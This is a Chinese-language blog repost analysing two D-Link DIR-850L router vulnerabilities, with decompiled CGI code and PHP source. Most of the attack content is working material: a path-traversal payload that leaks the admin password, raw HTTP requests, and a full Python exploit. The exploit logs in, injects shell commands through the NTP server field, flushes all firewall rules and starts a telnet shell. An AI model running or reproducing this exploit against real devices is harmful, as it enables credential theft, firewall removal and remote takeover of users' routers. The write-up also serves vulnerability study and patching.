dlink850l两个漏洞获取shell

2020-04-07 约 1222 字 预计阅读 6 分钟

声明:本文 【dlink850l两个漏洞获取shell】 由作者 九层台 于 2020-04-07 09:53:09 首发 先知社区 曾经 浏览数 104 次

感谢 九层台 的辛苦付出!


0x01dlink850l远程命令执行漏洞

当管理员接口的配置信息发生改变时,变化的配置信息会以 xml 的数据格式发送给 hedwig.cgi ,由 hedwig.cgi 重载并应用这些配置信息,而在接受这个数据前,程序并没有对用户身份进行判断,导致非管理员用户也可向 hedwig.cgi 发送XML数据。在接收 XML 数据的过程中, hedwig.cgi 会调用 htdocs/webinc/fatlady.php 文件验证数据合法性。

hedwig.cgi其实是一个链接文件,指向/htdocs/cgibin文件,接收到用户请求的xml数据请求后先封装成xml文件,发送read xml的请求到xmldb server,然后发送execute php的请求到xmldb server。
hedwig.cgi

int hedwigcgi_main(void)

{
  bool bVar1;
  char *__s1;
  FILE *__stream;
  undefined *puVar2;
  int __fd;
  void *pvVar3;
  void *pvVar4;
  int __fd_00;
  int iVar5;
  int iVar6;
  char **ppcVar7;
  char acStack1232 [20];
  char *local_4bc [5];
  char acStack1192 [128];
  char acStack1064 [1024];

  memset(acStack1064,0,0x400);
  memset(acStack1192,0,0x80);
  memcpy(acStack1232,"/runtime/session",0x11);
  __s1 = getenv("REQUEST_METHOD");
  if (__s1 == (char *)0x0) {
    __s1 = "no REQUEST";
LAB_0040d1bc:
    pvVar3 = (void *)0x0;
    pvVar4 = (void *)0x0;
LAB_0040d5f4:
    __fd_00 = -1;
  }
  else {
    __fd_00 = strcasecmp(__s1,"POST");
    if (__fd_00 != 0) {
      __s1 = "unsupported HTTP request";
      goto LAB_0040d1bc;
    }
    cgibin_parse_request(&LAB_0040d5fc,0,0x20000);
    __stream = fopen("/etc/config/image_sign","r");  //读取文件载入硬件版本
    __s1 = fgets(acStack1192,0x80,__stream);
    if (__s1 == (char *)0x0) {
      __s1 = "unable to read signature!";
      goto LAB_0040d1bc;
    }
    fclose(__stream);
    cgibin_reatwhite(acStack1192);
    pvVar3 = (void *)sobj_new();
    pvVar4 = (void *)sobj_new();
    if ((pvVar3 == (void *)0x0) || (pvVar4 == (void *)0x0)) {
      __s1 = "unable to allocate string object";
      goto LAB_0040d5f4;
    }
    sess_get_uid((int)pvVar3);
    puVar2 = sobj_get_string((int)pvVar3);
    snprintf(acStack1064,0x400,"%s/%s/postxml","/runtime/session",puVar2);
    xmldbc_del((char *)0x0,0,acStack1064);   //删掉临时文件
    __stream = fopen("/var/tmp/temp.xml","w");
    if (__stream == (FILE *)0x0) {
      __s1 = "unable to open temp file.";
      goto LAB_0040d5f4;
    }
    if (DAT_00437f30 == (char *)0x0) {
      __s1 = "no xml data.";
      goto LAB_0040d5f4;
    }
    __fd_00 = fileno(__stream);
    __fd_00 = lockf(__fd_00,3,0);
    if (__fd_00 < 0) {
      printf(
             "HTTP/1.1 200 OK\r\nContent-Type:text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>"
             ,0);
      __fd_00 = 0;
      goto LAB_0040d570;
    }
    ppcVar7 = local_4bc + 2;
    __fd = fileno(__stream);
    lockf(__fd,1,0);
    local_4bc[1] = (char *)0x0;
    local_4bc[2] = 0;
    local_4bc[3] = 0;
    local_4bc[4] = 0;
    local_4bc[0] = acStack1192;
    local_4bc[1] = strtok(acStack1232,"/");
    __fd = 2;
    do {
      iVar6 = __fd;
      __fd = iVar6 + 1;
      __s1 = strtok((char *)0x0,"/");
      *ppcVar7 = __s1;
      ppcVar7 = ppcVar7 + 1;
    } while (__s1 != (char *)0x0);
    ppcVar7 = local_4bc;
    iVar5 = 0;
    __s1 = sobj_get_string((int)pvVar3);
    local_4bc[iVar6] = __s1;
    fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n",__stream);
    bVar1 = 0 < __fd;
    while (iVar5 = iVar5 + 1, bVar1) {
      __s1 = *ppcVar7;
      ppcVar7 = ppcVar7 + 1;
      fprintf(__stream,"<%s>\n",__s1);
      bVar1 = iVar5 < __fd;
    }
    __s1 = strstr(DAT_00437f30,"<postxml>");
    fprintf(__stream,"%s\n",__s1);
    ppcVar7 = local_4bc + iVar6;
    do {
      __fd = __fd + -1;
      __s1 = *ppcVar7;
      ppcVar7 = ppcVar7 + -1;
      fprintf(__stream,"</%s>\n",__s1);//写入/var/tmp/temp.xml"
    } while (0 < __fd);
    fflush(__stream);
    xmldbc_read((char *)0x0,2,"/var/tmp/temp.xml"); //被其他文件读取
    __fd = fileno(__stream);
    lockf(__fd,0,0);
    fclose(__stream);
    remove("/var/tmp/temp.xml");  //删掉
    puVar2 = sobj_get_string((int)pvVar3);
    snprintf(acStack1064,0x400,"/htdocs/webinc/fatlady.php\nprefix=%s/%s","/runtime/session",puVar2)     //这里读取/htdocs/webinc/fatlady.php
    ;
    xmldbc_ephp((char *)0x0,0,acStack1064,stdout);// 运行刚才读取的/htdocs/webinc/fatlady.php
    if (__fd_00 == 0) goto LAB_0040d570;
    __s1 = (char *)0x0;
  }
  printf(
         "HTTP/1.1 200 OK\r\nContent-Type:text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>"
         ,__s1);
LAB_0040d570:
  if (DAT_00437f30 != (char *)0x0) {
    free(DAT_00437f30);
  }
  if (pvVar4 != (void *)0x0) {
    sobj_del(pvVar4);
  }
  if (pvVar3 != (void *)0x0) {
    sobj_del(pvVar3);
  }
  return __fd_00;
}

跟上一篇类似的插入
参考https://blog.csdn.net/qq_38204481/article/details/105113896

fatlady.php

HTTP/1.1 200 OK
Content-Type: text/xml

<?
include "/htdocs/phplib/trace.php";

/* get modules that send from hedwig */
/* call $target to do error checking, 
 * and it will modify and return the variables, '$FATLADY_XXXX'. */
$FATLADY_result = "OK";
$FATLADY_node   = "";
$FATLADY_message= "No modules for Hedwig";  /* this should not happen */

//TRACE_debug("FATLADY dump ====================\n".dump(0, "/runtime/session"));

foreach ($prefix."/postxml/module")
{
    del("valid");
    if (query("FATLADY")=="ignore") continue;  
    $service = query("service");
    if ($service == "") continue;
    TRACE_debug("FATLADY: got service [".$service."]");
    $target = "/htdocs/phplib/fatlady/".$service.".php";  /*FATLADY != ignore ,service字段可以直接被拼接并执行*/
    $FATLADY_prefix = $prefix."/postxml/module:".$InDeX;
    $FATLADY_base   = $prefix."/postxml";
    if (isfile($target)==1) dophp("load", $target);
    else
    {
        TRACE_debug("FATLADY: no file - ".$target);
        $FATLADY_result = "FAILED";
        $FATLADY_message = "No implementation for ".$service;
    }
    if ($FATLADY_result!="OK") break;
}
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n";
echo "<hedwig>\n";
echo "\t<result>".  $FATLADY_result.    "</result>\n";
echo "\t<node>".    $FATLADY_node.      "</node>\n";
echo "\t<message>". $FATLADY_message.   "</message>\n";
echo "</hedwig>\n";
?>

利用payload

curl -d '<?xml version="1.0" encoding="utf-8"?><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>' -b "uid=demo" -H "Content-Type: text/xml" "http://VictimIp:8080/hedwig.cgi"

抓包

附加xml的post请求发送过去的命令触发漏洞
0x02dlink850l 命令执行漏洞获取shell

用./hedwig.cgi文件加载的fatlady.phpphp文件直接加载漏洞加载DEVICE.ACCOUNT.xml.php文件获取用户名,密码
请求:

POST /hedwig.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/xml
Cookie: uid=whatever
Content-Length: 150

<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
    <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>

回应:

HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-850L Ver 1.14WW
Date: Fri, 27 May 2016 00:02:46 GMT
Transfer-Encoding: chunked
Content-Type: text/xml

<module>
    <service></service>
    <device>
        <gw_name>DIR-850L</gw_name>

        <account>
            <seqno>1</seqno>
            <max>2</max>
            <count>1</count>
            <entry>
                <uid>USR-</uid>
                <name>Admin</name>
                <usrid></usrid>
                <password>root1996</password>
                <group>0</group>
                <description></description>
            </entry>
        </account>
        <group>
            <seqno></seqno>
            <max></max>
            <count>0</count>
        </group>
        <session>
            <captcha>0</captcha>
            <dummy></dummy>
            <timeout>600</timeout>
            <maxsession>128</maxsession>
            <maxauthorized>16</maxauthorized>
        </session>
    </device>
</module>
<?xml version="1.0" encoding="utf-8"?>
<hedwig>
    <result>OK</result>
    <node></node>
    <message>No modules for Hedwig</message>
</hedwig>

/authentication.cgi 登录

a>获取到登录的 uid,callenge,使用GET请求

GET /authentication.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

回应

HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-850L Ver 1.14WW
Date: Fri, 27 May 2016 00:02:46 GMT
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded

{"status": "ok", "errno": null, "uid": "0764udul3Z", "challenge": "d4efd41c-4595-4a16-b5b5-0d90dca490ca", "version": "0204"}
POST /authentication.cgi HTTP/1.1
b>使用uid键值对作为cookie,password与username+challenge作md5,发送post请求
POST /authentication.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: uid=0764udul3Z
Content-Length: 50
Content-Type: application/x-www-form-urlencoded

id=Admin&password=7499059A6F694AD6117790A807038807

接下来将作为root用户获取shell
用/getcfg.php执行DEVICE.TIME.xml.php文件
/getcfg.php文件里面是
从post过去的信息中获取SERVICES字段执行对应php文件(其实这里有一个漏洞,执行这个php文件可以不用拿到admin用户的密码)
执行的getcfg.php文件可以设置SERVICES字段可以运行另一个文件DEVICE.TIME.xml.php
DEVICE.TIME.xml.php文件有命令执行漏洞

query函数会获取post携带的xml文件里面的对应标签的数值,类似python的xpath
fwrite函数是写入数据流中,a是追加,应该是把这些命令写入文件之后执行(这里可以是一个赋值语句如果$server设置为"metelesku; ("+COMMAND+") & exit; "就会造成截断)
可以看到server字段被直接写入文件造成了命令执行。
发送报文

POST /getcfg.php HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: uid=0764udul3Z
Content-Length: 20
Content-Type: application/x-www-form-urlencoded

SERVICES=DEVICE.TIME

收到回应

$server = query("/device/time/ntp/server");来获取.
用post /hedwig.cgi文件执行命令
/hedwig.cgi文件会执行fatlady.php文件,设置service位和TDEVICE.TIME执行命令

发送的报文如下

向pigwidgeon.cgi发送激活请求,使服务生效
发送的报文

POST /pigwidgeon.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: uid=0764udul3Z
Content-Length: 25
Content-Type: application/x-www-form-urlencoded

ACTIONS=SETCFG%2CACTIVATE

post /pigwidgeon.cgi文件设置xml内容为 ACTIONS=SETCFG%2CACTIVATE可以激活一个服务


0x03利用脚本

#!/usr/bin/env python3
# pylint: disable=C0103
#coding=utf-8
# pip3 install requests lxml
#
import hmac
import json
import sys
from urllib.parse import urljoin
from xml.sax.saxutils import escape
import lxml.etree
import requests



COMMAND = ";".join([
    "iptables -F",  # 清空指定链 chain 上面的所有规则。如果没有指定链,清空该表上所有链的所有规则。
    "iptables -X",  #删除指定的链,这个链必须没有被其它任何规则引用,而且这条上必须没有任何规则。如果没有指定链名,则会删除该表中所有非内置的链。
    "iptables -t nat -F",  #对指定nat链表进行 -F操作
    "iptables -t nat -X",   # 定义地址转换的,也只能做在3个链上:PREROUTING ,OUTPUT ,POSTROUTING
    "iptables -t mangle -F", #修改报文原数据,是5个链都可以做:PREROUTING,INPUT,FORWARD,OUTPUT,POSTROUTING
    "iptables -t mangle -X",
    "iptables -P INPUT ACCEPT",  # -P指定要匹配的数据包协议类型 INPUT链 :处理输入数据包 ACCEPT :接收数据包
    "iptables -P FORWARD ACCEPT",#FORWARD链 :处理转发数据包。
    "iptables -P OUTPUT ACCEPT",   #OUTPUT链 :处理输出数据包。
    "telnetd -p 23090 -l /bin/date"  # 开启telnet服务。  之后执行命令:telnet 192.168.0.1 23090 拿到shell
    ])
try:
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
except:
    pass

TARGET = sys.argv[1]
session = requests.Session()
session.verify = False

############################################################获取用户名密码

print("Get password...")

headers = {"Content-Type": "text/xml"}
cookies = {"uid": "whatever"}
data = """<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
    <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>"""

resp = session.post(urljoin(TARGET, "./hedwig.cgi"), headers=headers, cookies=cookies, data=data)
# print(resp.text)

# getcfg: <module>...</module>
# hedwig: <?xml version="1.0" encoding="utf-8"?>
#       : <hedwig>...</hedwig>
accdata = resp.text[:resp.text.find("<?xml")]

admin_pasw = ""

tree = lxml.etree.fromstring(accdata)
accounts = tree.xpath("/module/device/account/entry")
for acc in accounts:
    name = acc.findtext("name", "")
    pasw = acc.findtext("password", "")
    print("name:", name)
    print("pass:", pasw)
    if name == "Admin":
        admin_pasw = pasw

if not admin_pasw:
    print("Admin password not found!")
    sys.exit()

############################################################  通过/authentication.cgi获取key
#登录方式:
#1.发送get请求/authentication.cgi
#将获取到{"status": "ok", "errno": null, "uid": "MPxUAS6sZp",
#        "challenge": "c75a69e4-d1fe-4a47-b152-b494c9174316", "version": "0204"}
#2.使用uid键值对作为cookie,password与username+challenge作md5
#3.发送post请求到/authentication.cgi
print("Auth challenge...")
resp = session.get(urljoin(TARGET, "/authentication.cgi"))
# print(resp.text)

resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()

print("uid:", resp["uid"])
print("challenge:", resp["challenge"])

session.cookies.update({"uid": resp["uid"]})

print("Auth login...")
user_name = "Admin"
user_pasw = admin_pasw

data = {
    "id": user_name,
    "password": hmac.new(user_pasw.encode(), (user_name + resp["challenge"]).encode(), "md5").hexdigest().upper()
}
resp = session.post(urljoin(TARGET, "/authentication.cgi"), data=data)
# print(resp.text)

resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()
print("OK")

############################################################设置cookie:uid=MPxUAS6sZp

data = {"SERVICES": "DEVICE.TIME"}
# POST /getcfg.php HTTP/1.1
# Host: 192.168.0.1
# User-Agent: python-requests/2.18.4
# Accept-Encoding: gzip, deflate
# Accept: */*
# Connection: keep-alive
# Cookie: uid=MPxUAS6sZp
# Content-Length: 20
# Content-Type: application/x-www-form-urlencoded
#
# SERVICES=DEVICE.TIME
resp = session.post(urljoin(TARGET, "/getcfg.php"), data=data)  #文件执行
print(resp.text)

tree = lxml.etree.fromstring(resp.content)   #设置要发送的xml文件的service字段和要执行的命令
tree.xpath("//ntp/enable")[0].text = "1"
tree.xpath("//ntp/server")[0].text = "metelesku; ("+COMMAND+") & exit; "
tree.xpath("//ntp6/enable")[0].text = "1"

############################################################
#
print("hedwig")
#hedwig.cgi文件里面执行fatlady.php文件,设置service位和TDEVICE.TIME可以执行执行TDEVICE.TIME.xml.php
#TDEVICE.TIME.xml.php文件可以执行命令
headers = {"Content-Type": "text/xml"}
data = lxml.etree.tostring(tree)
resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, data=data)
# print(resp.text)

tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()
print("OK")

############################################################
#激活服务
print("pigwidgeon")

data = {"ACTIONS": "SETCFG,ACTIVATE"}

resp = session.post(urljoin(TARGET, "/pigwidgeon.cgi"), data=data)
# print(resp.text)

tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()
print("OK")

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now